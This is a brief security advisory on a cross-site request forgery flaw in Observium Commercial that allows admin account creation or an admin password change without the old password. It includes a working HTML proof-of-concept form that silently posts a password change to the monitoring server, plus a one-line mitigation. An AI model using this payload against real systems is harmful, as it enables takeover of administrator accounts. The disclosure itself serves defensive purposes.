Observium Commercial – CSRF

Observium is a low-maintenance auto-discovering network monitoring platform supporting a wide range of device types, platforms and operating systems including Cisco, Windows, Linux, HP, Juniper, Dell, FreeBSD, Brocade, Netscaler, NetApp and many more. Due to lack of CSRF protection, it is possible to create an additional administrator user, or change the current administrator password since it does not ask for the previous password before changing it.

Mitigation:

Implement CSRF protection for all user-facing web applications.

Observium is a low-maintenance auto-discovering network monitoring platform supporting a wide range of device types, platforms and operating systems including Cisco, Windows, Linux, HP, Juniper, Dell, FreeBSD, Brocade, Netscaler, NetApp and many more.

CSRF details
due to lack of csrf protection, it is possible to create an additional administrator user, or change the current administrator password since it does not ask for the previous password before changing it. 
i.e. New password <Enter new pass> & retype password <Enter new pass>
instead of having to insert the older password.
such an attack would look like this:
-->

<html>
<div align="center">
<pre>
 
<h2><b>Change admin password<b></h2>
<body>
<form
action="http://observiumIP/edituser/user_id=1/"
method="POST">
<input type="hidden" name="action" value="changepass" />
<input type="hidden" name="new_pass" value="test123" />
<input type="hidden" name="new_pass2" value="test123" />
<input type="submit" name="submit" value="save" />
    </form>
    </body>
</div>
</html>
